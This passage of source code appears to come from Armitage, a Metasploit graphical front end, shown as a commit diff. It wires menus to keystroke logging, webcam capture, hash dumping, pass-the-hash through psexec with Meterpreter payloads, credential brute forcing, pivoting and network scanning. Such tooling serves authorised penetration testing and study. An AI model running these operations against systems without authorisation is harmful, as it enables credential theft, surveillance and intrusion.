$a = iff($REMOTE, $MY_ADDRESS, "127.0.0.1");
showError("$2 $+ \nConnect VNC viewer to $a $+ :59 $+ $display (display $display $+ )\n\nIf your connection is refused, you may need to migrate to a \nnew process to set up VNC.");
%handlers["run"] = $null;
}
}, \$display);
if ($REMOTE) {
m_cmd($sid, "run vnc -V -t -O -v 59 $+ $display -p " . randomPort() . " -i");
}
else {
m_cmd($sid, "run vnc -V -t -v 59 $+ $display -p " . randomPort() . " -i");
}
}, $sid => "$sid"));
}
$j = menu($1, "Explore", 'E');
item($j, "Browse Files", 'B', lambda({ createFileBrowser($sid, $platform); }, $sid => "$sid", \$platform));
item($j, "Show Processes", 'P', lambda({ createProcessBrowser($sid); }, $sid => "$sid"));
if ("*win*" iswm $platform) {
item($j, "Log Keystrokes", 'K', lambda({
launch_dialog("Log Keystrokes", "post", "windows/capture/keylog_recorder", 1, $null, %(SESSION => $sid, MIGRATE => 1, ShowKeystrokes => 1));
}, $sid => "$sid"));
}
item($j, "Screenshot", 'S', createScreenshotViewer("$sid"));
if ("*win*" iswm $platform) {
item($j, "Webcam Shot", 'W', createWebcamViewer("$sid"));
}
separator($j);
item($j, "Post Modules", 'M', lambda({ showPostModules($sid); }, $sid => "$sid"));
$j = menu($1, "Pivoting", 'P');
item($j, "Setup...", 'A', setupPivotDialog("$sid"));
item($j, "Remove", 'R', lambda({ killPivots($sid, $session); }, \$session, $sid => "$sid"));
if ("*win*" iswm $platform) {
item($1, "ARP Scan...", 'A', setupArpScanDialog("$sid"));
}
else {
item($1, "Ping Sweep...", 'P', setupPingSweepDialog("$sid"));
}
setupMenu($1, "meterpreter_bottom", @($sid));
separator($1);
item($1, "Kill", 'K', lambda({ cmd_safe("sessions -k $sid"); }, $sid => "$sid"));
}
sub launch_msf_scans {
local('@modules $1 $hosts');
@modules = filter({ return iff("*_version" iswm $1, $1); }, @auxiliary);
$hosts = iff($1 is $null, ask("Enter range (e.g., 192.168.1.0/24):"), $1);
thread(lambda({
local('$scanner $index $console %ports %discover $port %o $temp');
%ports = ohash();
%discover = ohash();
setMissPolicy(%ports, { return @(); });
setMissPolicy(%discover, { return @(); });
if ($hosts !is $null) {
elog("launched msf scans at: $hosts");
$console = createConsoleTab("Scan", 1, $host => "all", $file => "scan");
[$console addSessionListener: lambda({
local('$text $host $port $hosts $modules $module @c');
foreach $text (split("\n", $2)) {
if ($text ismatch '... (.*?):(\d+) - TCP OPEN') {
($host, $port) = matched();
push(%discover[$port], $host);
}
else if ($text ismatch '... Scanned \d+ of \d+ hosts .100. complete.' && $start == 1) {
$start = $null;
[[$console getWindow] append: "[*] Starting host discovery scans\n"];
foreach $port => $hosts (%discover) {
if ($port in %ports) {
$modules = %ports[$port];
foreach $module ($modules) {
@c = @("use $module");
push(@c, "set RHOSTS " . join(", ", $hosts));
push(@c, "set RPORT $port");
push(@c, "set THREADS 24");
push(@c, "run -j");
push(@launch, @c);
}
}
}
}
if ($text ismatch '... Scanned \d+ of \d+ hosts .100. complete.' || $text ismatch '... Auxiliary failed: .*') {
if (size(@launch) == 0) {
$time = (ticks() - $time) / 1000.0;
[[$console getWindow] append: "\n[*] Scan complete in $time $+ s\n"];
}
else {
[[$console getWindow] append: "\n[*] " . size(@launch) . " scan" . iff(size(@launch) != 1, "s") . " to go...\n"];
thread(lambda({
local('$command');
foreach $command ($commands) {
[$console sendString: "$command $+ \n"];
yield 250;
}
}, \$console, $commands => shift(@launch)));
}
}
}
}, \$console, \%ports, \%discover, $start => 1, @launch => @(), $time => ticks())];
[[$console getWindow] append: "[*] Building list of scan ports and modules\n"];
# build up a list of scan ports
foreach $index => $scanner (@modules) {
if ($scanner ismatch 'scanner/(.*?)/\1_version') {
%o = call($client, "module.options", "auxiliary", $scanner);
if ('RPORT' in %o) {
$port = %o['RPORT']['default'];
push(%ports[$port], $scanner);
}
safetyCheck();
}
}
# add these ports to our list of ports to scan.. these come from querying all of Metasploit's modules
# for the default ports
foreach $port (@(50000, 21, 1720, 80, 443, 143, 3306, 1521, 110, 5432, 50013, 25, 161, 22, 23, 17185, 135, 8080, 4848, 1433, 5560, 512, 513, 514, 445, 5900, 5038, 111, 139, 49, 515, 7787, 2947, 7144, 9080, 8812, 2525, 2207, 3050, 5405, 1723, 1099, 5555, 921, 10001, 123, 3690, 548, 617, 6112, 6667, 3632, 783, 10050, 38292, 12174, 2967, 5168, 3628, 7777, 6101, 10000, 6504, 41523, 41524, 2000, 1900, 10202, 6503, 6070, 6502, 6050, 2103, 41025, 44334, 2100, 5554, 12203, 26000, 4000, 1000, 8014, 5250, 34443, 8028, 8008, 7510, 9495, 1581, 8000, 18881, 57772, 9090, 9999, 81, 3000, 8300, 8800, 8090, 389, 10203, 5093, 1533, 13500, 705, 623, 4659, 20031, 16102, 6080, 6660, 11000, 19810, 3057, 6905, 1100, 10616, 10628, 5051, 1582, 65535, 105, 22222, 30000, 113, 1755, 407, 1434, 2049, 689, 3128, 20222, 20034, 7580, 7579, 38080, 12401, 910, 912, 11234, 46823, 5061, 5060, 2380, 69, 5800, 62514, 42, 5631, 902)) {
$temp = %ports[$port];
}
# add a few left out modules
push(%ports['445'], "scanner/smb/smb_version");
[[$console getWindow] append: "[*] Launching TCP scan\n"];
[$console sendString: "use auxiliary/scanner/portscan/tcp\n"];
[$console sendString: "set PORTS " . join(", ", keys(%ports)) . "\n"];
[$console sendString: "set RHOSTS $hosts $+ \n"];
[$console sendString: "set THREADS 24\n"];
[$console sendString: "run -j\n"];
}
}, \$hosts, \@modules));
}
+271
View File
@@ -0,0 +1,271 @@
#
# Process Browser (for Meterpreter)
#
import table.*;
import java.awt.*;
import java.awt.event.*;
import javax.swing.*;
import javax.swing.event.*;
import javax.swing.table.*;
import ui.*;
sub createModuleBrowser {
local('$tree $split $scroll1 $t');
$split = [new JSplitPane: [JSplitPane HORIZONTAL_SPLIT], createModuleList(ohash(auxiliary => buildTree(@auxiliary), exploit => buildTree(@exploits), post => buildTree(@post), payload => buildTree(@payloads)), $2), iff($1, $1, [new JPanel])];
[$split setOneTouchExpandable: 1];
return $split;
}
sub showModulePopup {
local('$menu');
if (($2 eq "exploit" && "*/browser/*" !iswm $3 && "*/fileformat/*" !iswm $3) || ($2 eq "auxiliary" && "*_login" iswm $3)) {
$menu = [new JPopupMenu];
item($menu, "Relevant Targets", 'R', lambda({
thread(lambda({
local('$options %filter $os');
$options = call($mclient, "module.options", $type, $module);
if ("RPORT" in $options) {
%filter["ports"] = $options['RPORT']['default'];
if (%filter["ports"] eq '445') {
%filter["ports"] .= ", 139";
}
else if (%filter["ports"] eq '80') {
%filter["ports"] .= ", 443";
}
}
$os = split('/', $module)[0];
if ($os eq "windows") {
%filter["os"] = "windows";
}
else if ($os eq "linux") {
%filter["os"] = "linux";
}
else if ($os eq "osx") {
%filter["os"] = "ios, mac";
}
if (size(%filter) > 0) {
thread(lambda({
call($mclient, "db.filter", %filter);
}, \%filter));
[$frame setTitle: "$TITLE - $module"]
showError("Created a dynamic workspace for this module.\nUse Workspaces -> Show All to see all hosts.");
}
else {
showError("I'm sorry, this option doesn't work for\nthis module.");
}
}, \$module, \$type));
}, $module => $3, $type => $2));
setupMenu($menu, "module", @($2, $3));
[$menu show: [$1 getSource], [$1 getX], [$1 getY]];
}
else {
installMenu($1, "module", @($2, $3));
}
}
sub moduleAction {
local('$type $path $hosts');
($type, $path, $hosts) = @_;
thread(lambda({
if ($path in @exploits || $path in @auxiliary || $path in @payloads || $path in @post) {
if ($type eq "exploit") {
if ('*/browser/*' iswm $path || '*/fileformat/*' iswm $path) {
launch_dialog($path, $type, $path, 1, $hosts);
}
else {
local('$a $b');
$a = call($mclient, "module.info", "exploit", $path);
$b = call($mclient, "module.options", "exploit", $path);
dispatchEvent(lambda({
attack_dialog($a, $b, $hosts, $path);
}, \$a, \$b, \$hosts, \$path));
}
}
else {
launch_dialog($path, $type, $path, 1, $hosts);
}
}
}, \$type, \$path, \$hosts));
}
sub createModuleList {
local('$tree $split $scroll1 $t');
$tree = [new ATree: treeNodes($null, $1)];
[$tree setRootVisible: 0];
[$tree setDragEnabled: 1];
[$tree setTransferHandler: $2];
addMouseListener($tree, lambda({
local('$t');
$t = [$1 isPopupTrigger];
if ($t == 0 && ($0 ne "mousePressed" || [$1 getClickCount] < 2)) {
return;
}
local('$p');
$p = [[$1 getSource] getPathForLocation: [$1 getX], [$1 getY]];
if ($p is $null) {
return;
}
else if ([$1 isPopupTrigger]) {
local('$selected $type $path');
$selected = map({ return "$1"; }, [$p getPath]);
$type = $selected[1];
$path = join('/', sublist($selected, 2));
showModulePopup($1, $type, $path);
return;
}
local('$selected $type $path $hosts');
$selected = map({ return "$1"; }, [$p getPath]);
if (size($selected) > 2) {
$type = $selected[1];
$path = join('/', sublist($selected, 2));
$hosts = [$targets getSelectedHosts];
moduleAction($type, $path, $hosts);
}
}));
$scroll1 = [new JScrollPane: $tree, [JScrollPane VERTICAL_SCROLLBAR_AS_NEEDED], [JScrollPane HORIZONTAL_SCROLLBAR_AS_NEEDED]];
local('$search $button');
$search = [new ATextField: 10];
[$search setToolTipText: "Enter a query to filter the MSF modules"];
[$search addKeyListener: lambda({
this('$id');
if ($0 ne "keyReleased") {
return;
}
local('$model $_id $text');
$text = [$search getText];
if ($text ne "" && strlen($text) >= 3) {
local('$filter %list $a $e $p $o $x $f');
$filter = lambda({ return iff(lc("* $+ $s $+ *") iswm lc($1), $1); }, $s => strrep($text, ' ', '*'));
%list = ohash();
$a = filter($filter, @auxiliary);
$e = filter($filter, @exploits);
$p = filter($filter, @payloads);
$o = filter($filter, @post);
if (size($a) > 0) { %list["auxiliary"] = buildTree($a); }
if (size($e) > 0) { %list["exploit"] = buildTree($e); }
if (size($p) > 0) { %list["payload"] = buildTree($p); }
if (size($o) > 0) { %list["post"] = buildTree($o); }
$_id = [(%list . "") hashCode];
if ($id ne $_id) {
$id = $_id;
$model = treeNodes($null, %list);
[[$tree getModel] setRoot: $model];
for ($x = 0; $x < [$tree getRowCount]; $x++) {
[$tree expandRow: $x];
}
}
}
else {
$id = -1L;
$model = treeNodes($null, $original);
[[$tree getModel] setRoot: $model];
}
}, $original => $1, \$tree, \$search)];
local('$panel');
$panel = [new JPanel];
[$panel setLayout: [new BorderLayout]];
[$panel add: $scroll1, [BorderLayout CENTER]];
[$panel add: wrapComponent($search, 5), [BorderLayout SOUTH]];
[$panel setPreferredSize: [new Dimension: 180, 600] ];
[$panel setMinimumSize: [new Dimension: 180, 0]];
let(&showPostModules, \$tree, \$search)
let(&showModules, \$tree, \$search)
return $panel;
}
# shows the post modules compatible with a session... for this to work, the
# code that creates the module browser must call: let(&showExploitModules, $tree => ..., $search => ...)
sub showModules {
local('%list $model $1 $2 $3 $4');
%list = ohash(
auxiliary => iff($1, buildTree($1), $null),
exploit => iff($2, buildTree($2), $null),
payload => iff($3, buildTree($3), $null),
post => iff($4, buildTree($4), $null));
$model = treeNodes($null, %list);
dispatchEvent(lambda({
local('$x');
[[$tree getModel] setRoot: $model];
for ($x = 0; $x < [$tree getRowCount]; $x++) {
[$tree expandRow: $x];
}
[$search setText: ""];
}, \$search, \$tree, \$model));
}
sub showExploitModules {
local('%list $model');
if (size($1) == 0) {
return;
}
showModules($null, $1, $null, $null);
}
# shows the post modules compatible with a session... for this to work, the
# code that creates the module browser must call: let(&showPostModules, $tree => ..., $search => ...)
sub showPostModules {
local('@allowed $2');
@allowed = getOS(sessionToOS($1));
fork({
local('$modules %list $model');
$modules = call($client, "session.compatible_modules", $sid)["modules"];
$modules = map({ return substr($1, 5); }, $modules);
# filter out operating systems.
$modules = filter(lambda({
local('$o');
($o) = split('/', $1);
return iff($o in @allowed, $1);
}, \@allowed), $modules);
# filter out other stuff if a filter exists...
if ($filter !is $null) {
$modules = filter(lambda({ return iff($filter iswm $1, $1); }, \$filter), $modules);
}
%list = ohash(post => buildTree($modules));
$model = treeNodes($null, %list);
dispatchEvent(lambda({
local('$x');
[[$tree getModel] setRoot: $model];
for ($x = 0; $x < [$tree getRowCount]; $x++) {
[$tree expandRow: $x];
}
[$search setText: ""];
}, \$search, \$tree, \$model));
}, \$tree, \$search, $sid => $1, \$client, \@allowed, $filter => $2);
}
sub createModuleBrowserTab {
[$frame addTab: "Modules", createModuleBrowser(), $null];
}
+332
View File
@@ -0,0 +1,332 @@
#
# pass the hash attack gets its own file.
#
import java.awt.*;
import java.awt.event.*;
import javax.swing.*;
import javax.swing.event.*;
import javax.swing.table.*;
import msf.*;
import table.*;
import ui.*;
%handlers["hashdump"] = {
this('$host $safe $queue');
if ($0 eq "begin" && "*Unknown command*hashdump*" iswm $2) {
$host = $null;
if ($safe is $null) {
$safe = 1;
m_cmd($1, "use priv");
m_cmd($1, "hashdump");
}
else {
showError("hashdump is not available here");
$safe = $null;
}
}
else if ($0 eq "execute") {
$host = sessionToHost($1);
$queue = [new armitage.ConsoleQueue: $client];
[$queue start];
elog("dumped hashes on $host");
showError("Dumping Hashes.\nUse View -> Credentials to see them.");
}
else if ($0 eq "update" && $host !is $null && $2 ismatch '(.*?):(\d+):([a-zA-Z0-9]+:[a-zA-Z0-9]+).*?') {
local('$user $gid $hash');
($user, $gid, $hash) = matched();
# strip any funky characters that will cause this call to throw an exception
$user = replace($user, '\P{Graph}', "");
[$queue addCommand: $null, "creds -a $host -p 445 -t smb_hash -u $user -P $hash"];
}
else if ($0 eq "end" && ("*Error running*" iswm $2 || "*Operation failed*" iswm $2)) {
[$queue stop];
showError("Hash dump failed. Ask yourself:\n\n1) Do I have system privileges?\n\nNo? Then use Access -> Escalate Privileges\n\n2) Is meterpreter running in a process owned\nby a System user?\n\nNo? Use Explore -> Show Processes and migrate\nto a process owned by a System user.");
$host = $null;
}
else if ($0 eq "end" && $host !is $null) {
[$queue stop];
}
};
sub refreshCredsTable {
thread(lambda({
[Thread yield];
local('$creds $cred');
[$model clear: 128];
$creds = call($mclient, "db.creds2", [new HashMap])["creds2"];
foreach $cred ($creds) {
if ($title ne "login" || $cred['ptype'] ne "smb_hash") {
[$model addEntry: $cred];
}
}
[$model fireListeners];
}, $model => $1, $title => $2));
}
sub show_hashes {
local('$dialog $model $table $sorter $o $user $pass $button $reverse $domain $scroll');
$dialog = dialog($1, 480, $2);
$model = [new GenericTableModel: @("user", "pass", "host"), "user", 128];
$table = [new ATable: $model];
$sorter = [new TableRowSorter: $model];
[$sorter toggleSortOrder: 0];
[$sorter setComparator: 2, &compareHosts];
[$table setRowSorter: $sorter];
refreshCredsTable($model, $1);
$scroll = [new JScrollPane: $table];
[$scroll setPreferredSize: [new Dimension: 480, 130]];
[$dialog add: $scroll, [BorderLayout CENTER]];
return @($dialog, $table, $model);
}
sub createCredentialsTab {
local('$dialog $table $model $panel $export $crack $refresh');
($dialog, $table, $model) = show_hashes("", 320);
[$dialog removeAll];
$panel = [new JPanel];
[$panel setLayout: [new BorderLayout]];
[$panel add: [new JScrollPane: $table], [BorderLayout CENTER]];
$refresh = [new JButton: "Refresh"];
[$refresh addActionListener: lambda({
refreshCredsTable($model, $null);
}, \$model)];
$crack = [new JButton: "Crack Passwords"];
[$crack addActionListener: {
thread({
launch_dialog("Crack Passwords", "auxiliary", "analyze/jtr_crack_fast", 1);
});
}];
$export = [new JButton: "Export"];
[$export addActionListener: {
if ($client !is $mclient) {
cmd_safe("db_export -f pwdump -a creds.export", {
thread({
downloadFile("creds.export", saveFile2());
});
});
}
else {
local('$file');
$file = saveFile2();
$file = strrep($file, '\\', '\\\\');
cmd_safe("db_export -f pwdump -a $file", {
showError("Saved credentials");
});
}
}];
[$panel add: center($refresh, $crack, $export), [BorderLayout SOUTH]];
[$frame addTab: "Credentials", $panel, $null];
}
sub pass_the_hash {
local('$dialog $model $table $sorter $o $user $pass $button $reverse $domain $bottom $b2 $brute @controls');
($dialog, $table, $model) = show_hashes("Pass the Hash", 360);
[[$table getSelectionModel] setSelectionMode: [ListSelectionModel SINGLE_SELECTION]];
$bottom = [new JPanel];
#[$bottom setLayout: [new GridLayout: 4, 1]];
[$bottom setLayout: [new BoxLayout: $bottom, [BoxLayout Y_AXIS]]];
$user = [new ATextField: 32];
$pass = [new ATextField: 32];
$domain = [new ATextField: 32];
[$domain setText: "WORKGROUP"];
$brute = [new JCheckBox: "Check all credentials"];
$button = [new JButton: "Launch"];
[[$table getSelectionModel] addListSelectionListener: lambda({
[$user setText: [$model getSelectedValueFromColumn: $table, "user"]];
[$pass setText: [$model getSelectedValueFromColumn: $table, "pass"]];
}, \$table, \$model, \$user, \$pass)];
$reverse = [new JCheckBox: "Use reverse connection"];
@controls = @($user, $pass, $reverse);
[$brute addActionListener: lambda({
map(lambda({ [$1 setEnabled: $enable]; }, $enable => iff([$brute isSelected], 0, 1)), @controls);
}, \$brute, \@controls)];
[$bottom add: label_for("User", 75, $user)];
[$bottom add: label_for("Pass", 75, $pass)];
[$bottom add: label_for("Domain", 75, $domain)];
[$bottom add: left($brute)];
[$bottom add: left($reverse)];
[$button addActionListener: lambda({
local('$u $p %options $host');
%options["SMBDomain"] = [$domain getText];
%options['RPORT'] = "445";
if ([$brute isSelected]) {
%options["RHOSTS"] = join(", ", $hosts);
%options["BLANK_PASSWORDS"] = "false";
%options["USER_AS_PASS"] = "false";
%options["USERPASS_FILE"] = createUserPassFile(convertAll([$model getRows]), "smb_hash");
elog("brute force smb @ " . %options["RHOSTS"]);
launchBruteForce("auxiliary", "scanner/smb/smb_login", %options, "brute smb");
}
else {
%options["SMBUser"] = [$user getText];
%options["SMBPass"] = [$pass getText];
%options["LPORT"] = randomPort();
foreach $host ($hosts) {
if ([$reverse isSelected]) {
%options["LHOST"] = $MY_ADDRESS;
%options["PAYLOAD"] = "windows/meterpreter/reverse_tcp";
}
else if (isIPv6($host)) {
%options["PAYLOAD"] = "windows/meterpreter/bind_ipv6_tcp";
}
else {
%options["PAYLOAD"] = "windows/meterpreter/bind_tcp";
}
%options["RHOST"] = $host;
module_execute("exploit", "windows/smb/psexec", copy(%options));
}
elog("psexec: " . [$user getText] . ":" . [$pass getText] . " @ " . join(", ", $hosts));
}
[$dialog setVisible: 0];
}, \$dialog, \$user, \$domain, \$pass, \$reverse, \$hosts, \$brute, \$model)];
$b2 = [new JPanel];
[$b2 setLayout: [new BorderLayout]];
[$b2 add: $bottom, [BorderLayout NORTH]];
[$b2 add: center($button), [BorderLayout SOUTH]];
[$dialog add: $b2, [BorderLayout SOUTH]];
[$dialog pack];
[$dialog setVisible: 1];
}
sub show_login_dialog {
local('$port $srvc');
($port, $srvc) = values($service, @("port", "name"));
local('$dialog $model $table $sorter $o $user $pass $button $reverse $domain $bottom $b2 $brute @controls $scroll');
($dialog, $table, $model) = show_hashes("login", 320);
[[$table getSelectionModel] setSelectionMode: [ListSelectionModel SINGLE_SELECTION]];
$bottom = [new JPanel];
[$bottom setLayout: [new GridLayout: 3, 1]];
$user = [new ATextField: 32];
$pass = [new ATextField: 32];
$brute = [new JCheckBox: "Check all credentials"];
@controls = @($user, $pass);
$button = [new JButton: "Launch"];
[[$table getSelectionModel] addListSelectionListener: lambda({
[$user setText: [$model getSelectedValueFromColumn: $table, "user"]];
[$pass setText: [$model getSelectedValueFromColumn: $table, "pass"]];
}, \$table, \$model, \$user, \$pass)];
[$bottom add: label_for("User", 75, $user)];
[$bottom add: label_for("Pass", 75, $pass)];
[$bottom add: $brute];
[$brute addActionListener: lambda({
map(lambda({ [$1 setEnabled: $enable]; }, $enable => iff([$brute isSelected], 0, 1)), @controls);
}, \$brute, \@controls)];
[$button addActionListener: lambda({
local('$u $p %options $host');
%options["RHOSTS"] = join(', ', $hosts);
%options["RPORT"] = $port;
if ([$brute isSelected]) {
%options["BLANK_PASSWORDS"] = "false";
%options["USER_AS_PASS"] = "false";
%options["USERPASS_FILE"] = createUserPassFile(convertAll([$model getRows]));
elog("brute force $srvc @ " . %options["RHOSTS"]);
launchBruteForce("auxiliary", "scanner/ $+ $srvc $+ / $+ $srvc $+ _login", %options, "brute $srvc");
}
else {
%options["USERNAME"] = [$user getText];
%options["PASSWORD"] = [$pass getText];
%options["BLANK_PASSWORDS"] = "false";
%options["USER_AS_PASS"] = "false";
warn("$srvc $+ : $port => " . %options);
elog("login $srvc with " . [$user getText] . ":" . [$pass getText] . " @ " . %options["RHOSTS"]);
module_execute("auxiliary", "scanner/ $+ $srvc $+ / $+ $srvc $+ _login", %options);
}
[$dialog setVisible: 0];
}, \$dialog, \$user, \$pass, \$hosts, \$srvc, \$port, \$brute, \$model)];
$b2 = [new JPanel];
[$b2 setLayout: [new BorderLayout]];
[$b2 add: $bottom, [BorderLayout NORTH]];
[$b2 add: center($button), [BorderLayout SOUTH]];
$scroll = [new JScrollPane: $table];
[$scroll setPreferredSize: [new Dimension: 480, 130]];
[$dialog add: $scroll, [BorderLayout CENTER]];
[$dialog add: $b2, [BorderLayout SOUTH]];
[$dialog pack];
[$dialog setVisible: 1];
}
sub createUserPassFile {
local('$handle $user $pass $type $row $2');
$handle = openf(">userpass.txt");
foreach $row ($1) {
($user, $pass, $type) = values($row, @("user", "pass", "ptype"));
if ($type eq "password" || $type eq $2) {
println($handle, "$user $pass");
}
else {
println($handle, "$user");
}
}
closef($handle);
if ($client !is $mclient) {
local('$file');
$file = uploadFile("userpass.txt");
deleteOnExit("userpass.txt");
return $file;
}
else {
return getFileProper("userpass.txt");
}
}
# launchBruteForce("auxiliary", "scanner/ $+ $srvc $+ / $+ $srvc $+ _login", %options);
sub launchBruteForce {
thread(lambda({
local('$console $key $value');
$console = createDisplayTab("$title", $host => "all", $file => "brute_login");
[$console addCommand: $null, "use $type $+ / $+ $module"];
foreach $key => $value ($options) {
$value = strrep($value, '\\', '\\\\');
[$console addCommand: $null, "set $key $value"];
}
[$console addCommand: $null, "set REMOVE_USERPASS_FILE true"];
[$console addCommand: $null, "run -j"];
[$console start];
}, $type => $1, $module => $2, $options => $3, $title => $4));
}
+178
View File
@@ -0,0 +1,178 @@
import java.awt.*;
import java.awt.event.*;
import javax.swing.*;
import javax.swing.event.*;
import javax.swing.table.*;
import msf.*;
import table.*;
import graph.*;
import ui.*;
sub maskToCIDR {
local ('$x');
$x = strlen(strrep(formatNumber([Route ipToLong: $1], 10, 2), "0", ""));
return $x;
}
sub arp_scan_function {
local('$host $mask');
$host = [$model getSelectedValueFromColumn: $table, "host"];
$mask = [$model getSelectedValueFromColumn: $table, "mask"];
if ($host ne "" && $mask ne "") {
elog("ARP scan: $host $+ /" . maskToCIDR($mask) . " via $sid", sessionToHost($sid));
module_execute("post", "windows/gather/arp_scanner", %(THREADS => 24, SESSION => $sid, RHOSTS => "$host $+ /" . maskToCIDR($mask)));
}
[$dialog setVisible: 0];
}
sub ping_sweep_function {
local('$host $mask');
$host = [$model getSelectedValueFromColumn: $table, "host"];
$mask = [$model getSelectedValueFromColumn: $table, "mask"];
if ($host ne "" && $mask ne "") {
elog("ping sweep: $host $+ /" . maskToCIDR($mask) . " via $sid", sessionToHost($sid));
module_execute("post", "multi/gather/ping_sweep", %(SESSION => $sid, RHOSTS => "$host $+ /" . maskToCIDR($mask)));
}
[$dialog setVisible: 0];
}
sub add_pivot_function {
local('$host $mask');
$host = [$model getSelectedValueFromColumn: $table, "host"];
$mask = [$model getSelectedValueFromColumn: $table, "mask"];
if ($host ne "" && $mask ne "") {
elog("added pivot: $host $mask $sid", sessionToHost($sid));
cmd_safe("route add $host $mask $sid", {
if ($3 ne "") { showError($3); }
});
}
[$dialog setVisible: 0];
}
#
# pop up a dialog to start our attack with... fun fun fun
#
# pivot_dialog($sid, $network output?))
sub pivot_dialog {
if ($0 eq "end") {
local('$data $platform');
$data = sessionData($1);
if ($data && 'platform' in $data) {
$platform = $data['platform'];
}
# parse through the routing table...
local('@tempr $entry $host $mask $gateway @routes');
@tempr = parseTextTable($2, @('Subnet', 'Netmask', 'Gateway', 'Metric', 'Interface'));
foreach $entry (@tempr) {
($host, $mask, $gateway) = values($entry, @('Subnet', 'Netmask', 'Gateway'));
if ($host ne "127.0.0.1" && $host ne "127.0.0.0" && $host ne "224.0.0.0" && $host ne "0.0.0.0" && $mask ne "255.255.255.255") {
# work around a Metasploit bug that returns the host IP/mask rather than the actual route info
# for Java meterpreter...
if ($platform eq "java/java") {
local('$a $b $c $d');
($a, $b, $c, $d) = split('\\.', $host);
if ($mask eq "255.255.255.0") {
$host = "$a $+ . $+ $b $+ . $+ $c $+ .0";
}
else if ($mask eq "255.255.0.0") {
$host = "$a $+ . $+ $b $+ .0.0";
}
else if ($mask eq "255.0.0.0") {
$host = "$a $+ .0.0.0";
}
}
push(@routes, %(host => $host, mask => $mask, gateway => $gateway));
}
}
# ok, let's close down this handler...
$platform = $null;
$handler = $null;
%handlers["route"] = $null;
if (size(@routes) == 0) {
# eventually, we're going to need to parse IPv6 stuff...
return;
}
local('$dialog $model $table $sorter $center $a $route $button');
$dialog = [new JDialog: $frame, $title, 0];
[$dialog setSize: 320, 240];
[$dialog setLayout: [new BorderLayout]];
[$dialog setLocationRelativeTo: $frame];
[$dialog setLayout: [new BorderLayout]];
$model = [new GenericTableModel: @("host", "mask"), "Option", 8];
foreach $route (@routes) {
[$model _addEntry: $route];
}
$table = [new ATable: $model];
[[$table getSelectionModel] setSelectionMode: [ListSelectionModel SINGLE_SELECTION]];
$sorter = [new TableRowSorter: $model];
[$table setRowSorter: $sorter];
if (size(@routes) > 0) {
[[$table getSelectionModel] addSelectionInterval: 0, 0];
}
$center = [new JScrollPane: $table];
$a = [new JPanel];
[$a setLayout: [new FlowLayout: [FlowLayout CENTER]]];
$button = [new JButton: $label];
[$button addActionListener: lambda($function, \$table, \$model, \$dialog, \$sid)];
[$a add: $button];
[$dialog add: $center, [BorderLayout CENTER]];
[$dialog add: $a, [BorderLayout SOUTH]];
[$button requestFocus];
[$dialog setVisible: 1];
}
}
sub setupPivotDialog {
return lambda({
%handlers["route"] = lambda(&pivot_dialog, \$sid, $title => "Add Pivot", $label => "Add Pivot", $function => &add_pivot_function);
m_cmd($sid, "route");
}, $sid => "$1");
}
sub setupArpScanDialog {
return lambda({
%handlers["route"] = lambda(&pivot_dialog, \$sid, $title => "ARP Scan", $label => "ARP Scan", $function => &arp_scan_function);
m_cmd($sid, "route");
}, $sid => "$1");
}
sub setupPingSweepDialog {
return lambda({
%handlers["route"] = lambda(&pivot_dialog, \$sid, $title => "Ping Sweep", $label => "Ping Sweep", $function => &ping_sweep_function);
m_cmd($sid, "route");
}, $sid => "$1");
}
# killPivots(sid, session data
sub killPivots {
local('$route');
foreach $route (split(',', $2['routes'])) {
cmd_safe("route remove " . strrep($route, '/', ' ') . " $1");
}
elog("removed pivot: " . $2['routes']);
}
+374
View File
@@ -0,0 +1,374 @@
#
# Preferences
#
import table.*;
import java.awt.*;
import java.awt.event.*;
import javax.swing.*;
import javax.swing.event.*;
import javax.swing.table.*;
import java.io.*;
import msf.DatabaseImpl;
import ui.*;
global('$preferences $debug $motd $DATA_DIRECTORY $BASE_DIRECTORY $TITLE $CLIENT_CONFIG');
sub iHateYaml {
local('$handle %result $current $text $key $value');
$handle = openf($1);
$current = "default";
while $text (readln($handle)) {
if ($text ismatch '(\w+):') {
$current = matched()[0];
}
else if ($text ismatch '\s+([\w\\.]+): [\'"]{0,1}([\w\\.]+)[\'"]{0,1}') {
($key, $value) = matched();
%result[$current][$key] = $value;
}
}
return %result;
}
sub parseYaml {
# all heil the Yaml file... holder of the database info.
local('$database $user $pass $host $port $driver $object $file $setting');
($file, $setting) = $2;
try {
$object = iHateYaml($file);
$object = $object[$setting];
if ($object !is $null) {
($user, $pass, $database, $driver, $host, $port) = values($object, @("username", "password", "database", "adapter", "host", "port"));
[$1 setProperty: "connect.db_connect.string", "$user $+ :\" $+ $pass $+ \"@ $+ $host $+ : $+ $port $+ / $+ $database"];
[$1 setProperty: "connect.db_driver.string", $driver];
}
}
catch $exception {
showError("Couldn't load yaml file: $file $+ \n $+ $exception");
}
}
sub loadPreferences {
local('$file $prefs');
$file = getFileProper(systemProperties()["user.home"], ".armitage.prop");
$prefs = [new Properties];
if (-exists $file) {
[$prefs load: [new java.io.FileInputStream: $file]];
}
else {
[$prefs load: resource("resources/armitage.prop")];
}
# parse command line options here.
global('$yaml_file $yaml_entry');
local('%env');
$yaml_entry = "production";
%env = convertAll([System getenv]);
if ("MSF_DATABASE_CONFIG" in %env) {
$yaml_file = %env["MSF_DATABASE_CONFIG"];
}
while (size(@ARGV) > 0) {
if (@ARGV[0] eq "-y" && -exists @ARGV[1]) {
$yaml_file = @ARGV[1];
@ARGV = sublist(@ARGV, 2);
}
else if (@ARGV[0] eq "-e") {
$yaml_entry = @ARGV[1];
@ARGV = sublist(@ARGV, 2);
}
else if (@ARGV[0] eq "--motd" || @ARGV[0] eq "-m") {
$motd = @ARGV[1];
@ARGV = sublist(@ARGV, 2);
if (!-exists $motd) {
warn("$motd file does not exist. Clients will not see MOTD.");
}
}
else if (@ARGV[0] eq "--server") {
break;
}
else if (@ARGV[0] eq "--client") {
$CLIENT_CONFIG = @ARGV[1];
@ARGV = sublist(@ARGV, 2);
if (!-exists $CLIENT_CONFIG) {
warn("$CLIENT_CONFIG file does not exist. Will show something else.");
}
}
else {
showError("I don't understand these arguments:\n" . join("\n", @ARGV));
break;
}
}
$TITLE = [$prefs getProperty: "armitage.application_title.string", "Armitage"];
return $prefs;
}
sub loadDatabasePreferences {
if ($yaml_file eq "" || !-exists $yaml_file) {
$yaml_file = getFileProper($BASE_DIRECTORY, "config", "database.yml");
}
if (!-exists $yaml_file) {
throw [new RuntimeException: "I can not find a database.yml file. I *really* need it.\nTry setting MSF_DATABASE_CONFIG to a file that exists."];
}
else if (!-canread $yaml_file) {
